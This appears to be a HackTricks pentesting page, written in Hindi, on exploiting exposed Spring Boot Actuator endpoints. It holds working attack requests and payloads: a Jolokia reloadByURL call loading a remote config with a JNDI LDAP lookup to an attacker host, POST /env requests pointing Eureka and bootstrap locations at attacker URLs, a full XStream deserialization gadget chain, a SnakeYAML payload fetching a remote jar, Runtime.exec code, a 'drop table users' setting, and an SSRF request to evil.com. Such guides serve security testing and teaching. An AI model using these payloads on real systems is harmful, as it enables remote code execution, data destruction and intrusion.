hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

33 KiB

Spring Actuators

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Spring Auth Bypass

से https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Spring Boot Actuators का शोषण

कॉपी किया गया https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Spring Boot Framework में कई सुविधाएँ शामिल हैं जिन्हें actuators कहा जाता है, जो आपको अपने वेब एप्लिकेशन की निगरानी और प्रबंधन में मदद करते हैं जब आप इसे प्रोडक्शन में धकेलते हैं। ऑडिटिंग, स्वास्थ्य, और मेट्रिक्स एकत्रित करने के लिए इस्तेमाल किए जाने के इरादे से, ये गलत कॉन्फ़िगरेशन होने पर आपके सर्वर के लिए एक छिपा हुआ द्वार भी खोल सकते हैं।

जब एक Spring Boot एप्लिकेशन चल रहा होता है, तो यह स्वचालित रूप से कई एंडपॉइंट्स (जैसे '/health', '/trace', '/beans', '/env' आदि) को रूटिंग प्रक्रिया में पंजीकृत करता है। Spring Boot 1 - 1.4 के लिए, वे प्रमाणीकरण के बिना सुलभ हैं, जिससे सुरक्षा के साथ महत्वपूर्ण समस्याएं होती हैं। Spring संस्करण 1.5 के साथ शुरू होकर, '/health' और '/info' को छोड़कर सभी एंडपॉइंट्स को संवेदनशील माना जाता है और डिफ़ॉल्ट रूप से सुरक्षित होते हैं, लेकिन यह सुरक्षा अक्सर एप्लिकेशन डेवलपर्स द्वारा अक्षम की जाती है।

निम्नलिखित Actuator एंडपॉइंट्स संभावित रूप से सुरक्षा निहितार्थ रखते हैं जिससे संभावित कमजोरियाँ हो सकती हैं:

  • /dump - थ्रेड्स का डंप प्रदर्शित करता है (जिसमें स्टैक ट्रेस शामिल है)
  • /trace - पिछले कई HTTP संदेशों को प्रदर्शित करता है (जिसमें सत्र पहचानकर्ता शामिल हो सकते हैं)
  • /logfile - लॉग फ़ाइल की सामग्री का आउटपुट देता है
  • /shutdown - एप्लिकेशन को बंद कर देता है
  • /mappings - सभी MVC कंट्रोलर मैपिंग्स दिखाता है
  • /env - कॉन्फ़िगरेशन वातावरण तक पहुँच प्रदान करता है
  • /actuator/env
  • /restart - एप्लिकेशन को पुनः आरंभ करता है
  • /heapdump - हमारे एप्लिकेशन द्वारा इस्तेमाल किए गए JVM से एक हीप डंप बनाता है और लौटाता है

Spring 1x के लिए, वे मूल URL के अंतर्गत पंजीकृत होते हैं, और 2x में वे "/actuator/" बेस पथ पर चले गए हैं।

शोषण:

अधिकांश actuators केवल GET अनुरोधों का समर्थन करते हैं और केवल संवेदनशील कॉन्फ़िगरेशन डेटा का खुलासा करते हैं, लेकिन उनमें से कुछ विशेष रूप से शेल शिकारियों के लिए दिलचस्प हैं:

1. '/jolokia' के माध्यम से रिमोट कोड एक्जीक्यूशन

यदि Jolokia Library लक्ष्य एप्लिकेशन क्लासपाथ में है, तो यह स्वचालित रूप से Spring Boot द्वारा '/jolokia' actuator एंडपॉइंट के तहत प्रकट की जाती है। Jolokia सभी पंजीकृत MBeans तक HTTP पहुँच प्रदान करता है और JMX के साथ आप जो ऑपरेशन कर सकते हैं, उसे करने के लिए डिज़ाइन किया गया है। सभी उपलब्ध MBeans क्रियाओं को URL का उपयोग करके सूचीबद्ध किया जा सकता है:

http://127.0.0.1:8090/jolokia/list

फिर से, अधिकांश MBeans क्रियाएँ केवल कुछ सिस्टम डेटा का खुलासा करती हैं, लेकिन एक विशेष रूप से दिलचस्प है:

reloadByURL

'reloadByURL' क्रिया, जो Logback लाइब्रेरी द्वारा प्रदान की जाती है, हमें एक बाहरी URL से लॉगिंग कॉन्फ़िग को फिर से लोड करने की अनुमति देती है। इसे केवल नेविगेट करके ट्रिगर किया जा सकता है:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

तो, हमें लॉगिंग कॉन्फ़िग की परवाह क्यों करनी चाहिए? मुख्य रूप से दो चीजों के कारण:

  1. कॉन्फ़िग XML प्रारूप में है, और निश्चित रूप से, Logback इसे External Entities सक्षम के साथ पार्स करता है, इसलिए यह अंधा XXE के लिए संवेदनशील है।
  2. Logback कॉन्फ़िग में ['JNDI से वेरिएबल्स प्राप्त करने'] की सुविधा है(https://logback.qos.ch/manual/configuration.html#insertFromJNDI). XML फ़ाइल में, हम एक टैग जैसे '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' शामिल कर सकते हैं और नाम विशेषता को DirContext.lookup() विधि के पास पारित किया जाएगा। यदि हम .lookup() फ़ंक्शन में एक मनमाना नाम प्रदान कर सकते हैं, तो हमें XXE या HeapDump की आवश्यकता नहीं है क्योंकि यह हमें पूर्ण रिमोट कोड एक्जीक्यूशन देता है।

यह कैसे काम करता है:

1. एक हमलावर उपरोक्त URL का अनुरोध करता है 'reloadByURL' फ़ंक्शन को निष्पादित करने के लिए, जो 'qos.logback.classic.jmx.JMXConfigurator' क्लास द्वारा प्रदान किया जाता है।

2. 'reloadByURL' फ़ंक्शन http://artsploit.com/logback.xml से एक नया कॉन्फ़िग डाउनलोड करता है और इसे Logback कॉन्फ़िग के रूप में पार्स करता है। इस दुर्भावनापूर्ण कॉन्फ़िग में निम्नलिखित सामग्री होनी चाहिए:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. जब यह फ़ाइल संवेदनशील सर्वर पर पार्स की जाती है, तो यह "env-entry-name" पैरामीटर मान में निर्दिष्ट हमलावर-नियंत्रित LDAP सर्वर से कनेक्शन बनाती है, जो JNDI संकल्पना की ओर ले जाती है। दुर्भावनापूर्ण LDAP सर्वर 'Reference' प्रकार की एक वस्तु लौटा सकता है जिससे लक्षित एप्लिकेशन पर सप्लाई किए गए बाइटकोड का निष्पादन हो सकता है। JNDI हमलों की अच्छी तरह से व्याख्या इस MicroFocus शोध पत्र में की गई है। नई JNDI शोषण तकनीक (जिसका वर्णन पहले हमारे ब्लॉग में किया गया था) यहाँ भी काम करती है, क्योंकि Tomcat Spring Boot Framework में डिफ़ॉल्ट एप्लिकेशन सर्वर है।

2. '/env' के माध्यम से कॉन्फ़िग संशोधन

यदि Spring Cloud Libraries क्लासपाथ में हैं, तो '/env' एंडपॉइंट आपको Spring पर्यावरणीय गुणधर्मों को संशोधित करने की अनुमति देता है। सभी '@ConfigurationProperties' के रूप में अंकित बीन्स को संशोधित किया जा सकता है और पुनः बाँधा जा सकता है। '/configprops' एक्चुएटर एंडपॉइंट पर सूचीबद्ध कई, लेकिन सभी नहीं, गुणधर्मों को हम नियंत्रित कर सकते हैं। वास्तव में, उनमें से टन हैं, लेकिन यह बिल्कुल स्पष्ट नहीं है कि हमें क्या संशोधित करने की आवश्यकता है कुछ हासिल करने के लिए। उनके साथ खेलते हुए कुछ दिन बिताने के बाद हमने यह पाया:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

यह प्रॉपर्टी Eureka serviceURL को मनमाने मूल्य में बदल देती है। Eureka Server सामान्यतः एक डिस्कवरी सर्वर के रूप में इस्तेमाल होता है, और लगभग सभी Spring Cloud एप्लिकेशन इसमें रजिस्टर करते हैं और इसे स्टेटस अपडेट भेजते हैं। यदि आपको भाग्य से लक्ष्य क्लासपाथ में Eureka-Client <1.8.7 मिल जाता है (जो सामान्यतः Spring Cloud Netflix में शामिल होता है), तो आप इसमें XStream deserialization vulnerability का शोषण कर सकते हैं। आपको बस 'eureka.client.serviceUrl.defaultZone' प्रॉपर्टी को '/env' के माध्यम से अपने सर्वर URL (http://artsploit.com/n/xstream) पर सेट करना होगा और फिर '/refresh' एंडपॉइंट को कॉल करना होगा। उसके बाद, आपके सर्वर को निम्नलिखित सामग्री के साथ XStream पेलोड सर्व करना चाहिए:

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
यह XStream पेलोड [Marshalsec अनुसंधान](https://github.com/mbechler/marshalsec) से ImageIO JDK-only गैजेट चेन का थोड़ा संशोधित संस्करण है। यहाँ केवल अंतर यह है कि **LinkedHashSet** का उपयोग करके 'jdk.nashorn.internal.objects.NativeString.hashCode()' विधि को ट्रिगर किया जाता है। मूल पेलोड java.lang.Map का उपयोग करता है ताकि वही व्यवहार प्राप्त किया जा सके, लेकिन Eureka की XStream कॉन्फ़िगरेशन में मैप्स के लिए एक [कस्टम कनवर्टर](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) है जिससे इसे अनुपयोगी बना दिया गया है। ऊपर दिया गया पेलोड बिल्कुल भी मैप्स का उपयोग नहीं करता है और बिना अतिरिक्त प्रतिबंधों के Remote Code Execution प्राप्त करने के लिए उपयोग किया जा सकता है।

Spring Actuators का उपयोग करके, आप इस कमजोरी का शोषण कर सकते हैं भले ही आपके पास एक आंतरिक Eureka सर्वर तक पहुँच न हो; आपको केवल एक "/env" एंडपॉइंट की आवश्यकता होती है।

**अन्य उपयोगी सेटिंग्स:**

**spring.datasource.tomcat.validationQuery=drop+table+users** - आपको किसी भी SQL क्वेरी को निर्दिष्ट करने की अनुमति देता है, और यह स्वचालित रूप से वर्तमान डेटाबेस के खिलाफ निष्पादित होगा। यह कोई भी स्टेटमेंट हो सकता है, जिसमें insert, update, या delete शामिल हैं।

![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_drop_table.png)

**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - आपको वर्तमान JDBC कनेक्शन स्ट्रिंग को संशोधित करने की अनुमति देता है।

अंतिम एक बहुत अच्छा लगता है, लेकिन समस्या तब होती है जब डेटाबेस कनेक्शन चलाने वाला एप्लिकेशन पहले से ही स्थापित हो, बस JDBC स्ट्रिंग को अपडेट करने से कोई प्रभाव नहीं पड़ता है। सौभाग्य से, इस मामले में हमारी मदद करने के लिए एक और प्रॉपर्टी है:

**spring.datasource.tomcat.max-active**=777

यहाँ हम जो चाल उपयोग कर सकते हैं वह है डेटाबेस के साथ समानांतर कनेक्शनों की संख्या बढ़ाना। इसलिए, हम JDBC कनेक्शन स्ट्रिंग को बदल सकते हैं, कनेक्शनों की संख्या बढ़ा सकते हैं, और उसके बाद एप्लिकेशन को भारी लोड का अनुकरण करने के लिए कई अनुरोध भेज सकते हैं। लोड के तहत, एप्लिकेशन अपडेटेड मैलिशस JDBC स्ट्रिंग के साथ एक नया डेटाबेस कनेक्शन बनाएगा। मैंने इस तकनीक को स्थानीय रूप से Mysql के खिलाफ परीक्षण किया और यह बहुत अच्छा काम करता है।

![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_max_active.png)

इसके अलावा, अन्य प्रॉपर्टीज हैं जो दिलचस्प लगती हैं, लेकिन, व्यवहार में, वास्तव में उपयोगी नहीं हैं:

**spring.datasource.url** - डेटाबेस कनेक्शन स्ट्रिंग (केवल पहले कनेक्शन के लिए उपयोग की जाती है)

**spring.datasource.jndiName** - डेटाबेस JNDI स्ट्रिंग (केवल पहले कनेक्शन के लिए उपयोग की जाती है)

**spring.datasource.tomcat.dataSourceJNDI** - डेटाबेस JNDI स्ट्रिंग (बिल्कुल भी उपयोग नहीं की जाती है)

**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url (एप्प स्टार्ट के बाद कोई प्रभाव नहीं होता है, केवल प्रारंभिक मानों का उपयोग होता है।)

ये प्रॉपर्टीज '/restart' एंडपॉइंट को कॉल किए जाने तक कोई प्रभाव नहीं डालती हैं। यह एंडपॉइंट सभी ApplicationContext को पुनः आरंभ करता है लेकिन यह डिफ़ॉल्ट रूप से अक्षम होता है।

अन्य बहुत सारी दिलचस्प प्रॉपर्टीज हैं, लेकिन उनमें से अधिकांश परिवर्तन के बाद तत्काल प्रभाव नहीं डालती हैं।

**नोट:** Spring Boot 2x में, '/env' एंडपॉइंट के माध्यम से प्रॉपर्टीज को संशोधित करने के लिए अनुरोध प्रारूप थोड़ा अलग है (यह json प्रारूप का उपयोग करता है), लेकिन विचार वही है।

**कमजोर एप्लिकेशन का एक उदाहरण:**

यदि आप इस कमजोरी का स्थानीय रूप से परीक्षण करना चाहते हैं, तो मैंने अपने Github पेज पर एक [सरल Spring Boot एप्लिकेशन](https://github.com/artsploit/actuator-testbed) बनाया है। सभी पेलोड वहाँ काम करना चाहिए, डेटाबेस सेटिंग्स को छोड़कर (जब तक आप इसे कॉन्फ़िगर नहीं करते)।

**ब्लैक बॉक्स डिस्कवरी:**

डिफ़ॉल्ट एक्चुएटर्स की पूरी सूची यहाँ मिल सकती है: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)। ध्यान रखें कि एप्लिकेशन डेवलपर्स अपने स्वयं के एंडपॉइंट्स @Endpoint एनोटेशन का उपयोग करके बना सकते हैं।

**मई 2019 का अपडेट:**

Spring पर्यावरणीय प्रॉपर्टीज में संशोधन के माध्यम से RCE प्राप्त करने का एक अधिक विश्वसनीय तरीका है:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

यह अनुरोध 'spring.cloud.bootstrap.location' प्रॉपर्टी को संशोधित करता है, जिसका उपयोग बाहरी कॉन्फ़िग को लोड करने और उसे YAML प्रारूप में पार्स करने के लिए किया जाता है। इसे संभव बनाने के लिए, हमें '/refresh' एंडपॉइंट को भी कॉल करने की आवश्यकता है।

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
जब YAML कॉन्फ़िग रिमोट सर्वर से फेच किया जाता है, तो इसे SnakeYAML लाइब्रेरी के साथ पार्स किया जाता है, जो डिसेरियलाइजेशन हमलों के लिए भी संवेदनशील होती है। पेलोड (yaml-payload.yml) उपरोक्त Marshalsec अनुसंधान का उपयोग करके जनरेट किया जा सकता है :
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

इस फाइल के Deserialization से ScriptEngineManager के constructor की execution होती है जिसमें दिया गया URLClassLoader शामिल होता है। संक्षेप में, यह 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)' मेथड की ओर ले जाता है, जो क्लासपाथ में सभी लाइब्रेरीज में 'ScriptEngineFactory' इंटरफेस के सभी कार्यान्वयनों को खोजने का प्रयास करता है। चूंकि हम URLClassLoader के माध्यम से एक नई लाइब्रेरी जोड़ सकते हैं, हम एक नया 'ScriptEngineFactory' बना सकते हैं जिसमें मालिशियस बाइटकोड शामिल हो। ऐसा करने के लिए, हमें निम्नलिखित अनिवार्य फाइलों के साथ एक jar आर्काइव बनाने की आवश्यकता है: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class में वास्तविक बाइटकोड होना चाहिए, जिसमें constructor में मालिशियस पेलोड हो।

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) एक टेक्स्ट फाइल होनी चाहिए जिसमें 'artsploit.AwesomeScriptEngineFactory' का पूरा संदर्भ हो, ताकि ServiceLoader को पता चल सके कि क्लास कहां मिलेगी: **artsploit.AwesomeScriptEngineFactory** फिर से, इस शोषण तकनीक के लिए spring cloud का classpath में होना आवश्यक है, लेकिन Eureka के XStream payload की तुलना में, यह नवीनतम संस्करण में भी काम करता है। पूरा payload आप मेरे github प्रोजेक्ट में देख सकते हैं: [yaml-payload](https://github.com/artsploit/yaml-payload).

## Env + H2 RCE

इस पेज पर जाएं और जानें कि /env + H2 संयोजन का शोषण कैसे करें: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)

## Spring Boot में गलत Pathname व्याख्या के माध्यम से SSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>

[**इस शोध से**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): Spring framework HTTP pathname के पहले स्लैश से पहले मैट्रिक्स पैरामीटर विभाजक चरित्र `;` को स्वीकार करता है:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

इस तरह की परिस्थिति में:

यह देखते हुए कि Spring मैट्रिक्स पैरामीटर सेपरेटर के बाद किसी भी अक्षर की अनुमति देता है, @ अक्षर का उपयोग करके मनमाने एंडपॉइंट को भी प्राप्त करना संभव हो जाता है।

नीचे एक्सप्लॉइट अनुरोध का उदाहरण दिया गया है:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

अधिक जानकारी

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: